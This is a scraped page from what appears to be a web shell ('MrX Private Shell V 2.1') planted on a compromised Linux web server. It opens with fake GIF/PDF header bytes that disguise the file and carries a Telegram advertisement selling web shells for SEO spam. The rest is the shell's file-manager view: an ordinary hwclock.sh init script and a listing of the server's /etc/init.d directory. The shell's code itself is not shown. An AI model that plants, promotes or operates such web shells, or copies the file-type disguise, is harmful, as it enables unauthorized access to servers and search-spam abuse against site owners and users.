GIF89; GIF89; %PDF- %PDF-
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/bin/sh
### BEGIN INIT INFO
# Provides: hwclock
# Required-Start:
# Required-Stop: mountdevsubfs
# Should-Stop: umountfs
# Default-Start: S
# Default-Stop: 0 6
# Short-Description: Save system clock to hardware on shutdown.
### END INIT INFO
# Note: this init script and related code is only useful if you
# run a sysvinit system, without NTP synchronization.
if [ -e /run/systemd/system ] ; then
exit 0
fi
unset TZ
hwclocksh()
{
HCTOSYS_DEVICE=rtc0
[ ! -x /sbin/hwclock ] && return 0
[ ! -r /etc/default/rcS ] || . /etc/default/rcS
[ ! -r /etc/default/hwclock ] || . /etc/default/hwclock
. /lib/lsb/init-functions
verbose_log_action_msg() { [ "$VERBOSE" = no ] || log_action_msg "$@"; }
case "$1" in
start)
# start is handled by /usr/lib/udev/rules.d/85-hwclock.rules.
return 0
;;
stop|restart|reload|force-reload)
# Updates the Hardware Clock with the System Clock time.
# This will *override* any changes made to the Hardware Clock,
# for example by the Linux kernel when NTP is in use.
log_action_msg "Saving the system clock to /dev/$HCTOSYS_DEVICE"
if /sbin/hwclock --rtc=/dev/$HCTOSYS_DEVICE --systohc; then
verbose_log_action_msg "Hardware Clock updated to `date`"
fi
;;
show)
/sbin/hwclock --rtc=/dev/$HCTOSYS_DEVICE --show
;;
*)
log_success_msg "Usage: hwclock.sh {stop|reload|force-reload|show}"
log_success_msg " stop and reload set hardware (RTC) clock from kernel (system) clock"
return 1
;;
esac
}
hwclocksh "$@"
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| apache-htcacheclean | File | 2.43 KB | 0755 |
|
| apache2 | File | 7.99 KB | 0755 |
|
| apparmor | File | 3.65 KB | 0755 |
|
| apport | File | 2.85 KB | 0755 |
|
| console-setup.sh | File | 1.2 KB | 0755 |
|
| cron | File | 2.99 KB | 0755 |
|
| cryptdisks | File | 937 B | 0755 |
|
| cryptdisks-early | File | 896 B | 0755 |
|
| dbus | File | 3.08 KB | 0755 |
|
| docker | File | 3.75 KB | 0755 |
|
| grub-common | File | 985 B | 0755 |
|
| hwclock.sh | File | 1.71 KB | 0755 |
|
| irqbalance | File | 2.58 KB | 0755 |
|
| iscsid | File | 1.47 KB | 0755 |
|
| keyboard-setup.sh | File | 1.44 KB | 0755 |
|
| kmod | File | 2 KB | 0755 |
|
| lvm2 | File | 695 B | 0755 |
|
| lvm2-lvmpolld | File | 586 B | 0755 |
|
| mariadb | File | 6.59 KB | 0755 |
|
| nginx | File | 4.47 KB | 0755 |
|
| open-iscsi | File | 2.38 KB | 0755 |
|
| open-vm-tools | File | 1.8 KB | 0755 |
|
| php8.3-fpm | File | 4.19 KB | 0755 |
|
| plymouth | File | 1.35 KB | 0755 |
|
| plymouth-log | File | 760 B | 0755 |
|
| postgresql | File | 1.46 KB | 0755 |
|
| procps | File | 959 B | 0755 |
|
| qemu-guest-agent | File | 3.04 KB | 0755 |
|
| redis-server | File | 1.58 KB | 0755 |
|
| rsync | File | 4.31 KB | 0755 |
|
| screen-cleanup | File | 1.19 KB | 0755 |
|
| ssh | File | 3.96 KB | 0755 |
|
| sysstat | File | 1.54 KB | 0755 |
|
| udev | File | 6.71 KB | 0755 |
|
| ufw | File | 2.03 KB | 0755 |
|
| unattended-upgrades | File | 1.36 KB | 0755 |
|
| uuidd | File | 1.28 KB | 0755 |
|
| x11-common | File | 2.7 KB | 0755 |
|